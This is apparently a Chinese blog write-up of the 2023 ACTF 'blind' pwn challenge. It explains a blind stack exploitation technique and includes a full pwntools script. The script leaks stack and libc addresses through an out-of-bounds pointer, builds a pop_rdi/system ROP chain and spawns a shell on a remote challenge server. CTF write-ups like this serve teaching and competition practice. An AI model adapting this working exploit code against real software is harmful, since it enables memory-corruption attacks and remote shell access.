2023ACTF_blind


这次ACTF拿了人生第一个二血,虽然题目不难,但还是写个wp庆祝下二血

写完这题后就去伯德之门启动了

题目复现

一道brop,此前我并没有写过brop的题目,因此常规的做法并不会

题目可以修改一段8字节的name,Aaaaaaa\x00,通过AD指令移动当前的光标,WS指令修改当字符的ascii码

每输完一行指令,就会回显当前字符串(8字节)

也可以一行用12A20W8D这种方式,快速执行指令

最后输入一个空行,程序就会结束

漏洞分析

经过简单测试后,发现输入8D1W后,回显会发生变化

print1

然后我们尝试输入8D2W,8D3W等等,会发现每次回显的起始偏移都会右移一格,但总共还是8字节回显

print2

print3

因此我们可以猜测,name_str后偏移8字节,是一个name_str的指针name_ptr,程序通过他找到name_str并完成相应操作。

name_ptr的偏移量idx可以oob,通过这个可以实现任意写;name_ptr可以修改,通过这个可以实现任意读

su的wp中,通过任意读程序段,泄露了程序的样貌;但我做的时候并没有把name_ptr改到程序段上,而是把所有操作都在栈上完成了

漏洞利用

首先泄露栈上地址,写一个泄露偏移offset处的read_stack函数:

def read_stack(offset):
    sla('aaa\x00\n> ','8D'+str(offset)+'W')
    word = io.recv()
    if len(word)>1:
        word = word[1:1]
    data = word+r(7)
    print(data)
    data = u64(data)
    sla('> ',f'{offset}A{offset}S')
    sla('>', str(offset-8)+'D')# recover the name_ptr and idx
    return data

泄露完地址后,我还把name_ptr和idx都恢复了,便于后续利用

这是我泄露后得到的栈布局(猜测)

# 0-7 name_buf
# 8-16 name_ptr
# 16-23 dirty:leak_pie
# 24-31 libc_main_ret(ret)
# 32-39 stack
# 40-47 0x1000000
# 48-55 main
# 56-63
# 64-71
# 72-79 random

由于我并没有完成程序段0x555500000处的泄露,因此只得到libc_main_ret一个libc地址,然后我就陷入了一个下午的猜测libc版本环节😭,反正libc版本是2.31,小版本我也不知道,全试了一遍

接着写一个write_stack, write_stack前要读栈上的旧地址,然后计算偏移

def get_shift(old, target):
    if target>=old:
        return(str(target-old)+'w')
    else:
        return(str(old-target)+'s')

def write_stack(offset, old, target):
    shift_str = get_shift(old & 0xff, target & 0xff)
    sla('> ', str(offset)+'d'+shift_str)
    for i in range(7):
        shift_str = get_shift((old>>(8*(i+1))) & 0xff, (target>>(8*(i+1))) & 0xff)
        sla('> ', '1d'+shift_str)
    sla('> ', str(offset+7)+'a')

然后只需在栈上依次写下pop_rdi,binsh_addr,system_addr即可。诡异的是这里的binsh_addr我用libc里的没用,只好再栈上又写个0x6873(‘sh’)

ps:写wp时,我getsh到服务器看了下,libc版本确实诡异,难怪我binsh_addr没用

libc

wp

from pwn import *
context.log_level = 'debug'

ru         = lambda a:     io.recvuntil(a, drop=True)
r         = lambda n:        io.read(n)
sla     = lambda a,b:     io.sendlineafter(a,b)
sa         = lambda a,b:     io.sendafter(a,b)
sl        = lambda a:     io.sendline(a)
s         = lambda a:     io.send(a)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

#io = process('./')
# blind

# 0-7 name_buf
# 8-16 name_ptr
# 16-23 dirty:leak_pie
# 24-31 libc_main(ret)
# 32-39 stack
# 40-47 0x1000000
# 48-55 main
# 56-63
# 64-71
# 72-79 random

def read_stack(offset):
    sla('aaa\x00\n> ','8D'+str(offset)+'W')
    word = io.recv()
    if len(word)>1:
        word = word[1:1]
    data = word+r(7)
    print(data)
    data = u64(data)
    sla('> ',f'{offset}A{offset}S')
    sla('>', str(offset-8)+'D')# recover the name_ptr and idx
    return data
    
io = remote('120.46.65.156', 32104)

stack_addr = read_stack(8)
lg('stack_addr', stack_addr)
main_addr = read_stack(48)
lg('main_addr', main_addr)
leak_libc = read_stack(24)
lg('leak_libc', leak_libc)
libc_base = leak_libc - 0x026d0a
lg('libc_base', libc_base)

one_gadget = [0xe6aee,0xe6af1,0xe6af4]
system_addr = libc_base+0x048e50
target = system_addr
old = leak_libc
lg('target', target)

def get_shift(old, target):
    if target>=old:
        return(str(target-old)+'w')
    else:
        return(str(old-target)+'s')

def write_stack(offset, old, target):
    shift_str = get_shift(old & 0xff, target & 0xff)
    sla('> ', str(offset)+'d'+shift_str)
    for i in range(7):
        shift_str = get_shift((old>>(8*(i+1))) & 0xff, (target>>(8*(i+1))) & 0xff)
        sla('> ', '1d'+shift_str)
    sla('> ', str(offset+7)+'a')

pop_rdi = libc_base + 0x26796
ret = pop_rdi+1
binsh = libc_base + 0x18a154
exit = libc_base + 0x000000000003e660


write_stack(24, leak_libc, pop_rdi)
new = read_stack(24)
lg('pop_rdi',new)

old = read_stack(32)
lg('old', old)
write_stack(32, old, stack_addr+40 )
new = read_stack(32)
lg('binsh',new)

old = read_stack(40)
lg('old', old)
write_stack(40, old, system_addr)
new = read_stack(40)
lg('sys',new)

old = read_stack(48)
lg('old', old)
write_stack(48, old, 0x6873)
new = read_stack(48)
lg('binsh',new)
sla('> ','')

io.interactive()

小结

这题其实也是投机取巧写的,正经应该像su那样,泄露程序原貌


文章作者: N1co5in3
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 N1co5in3 !
  目录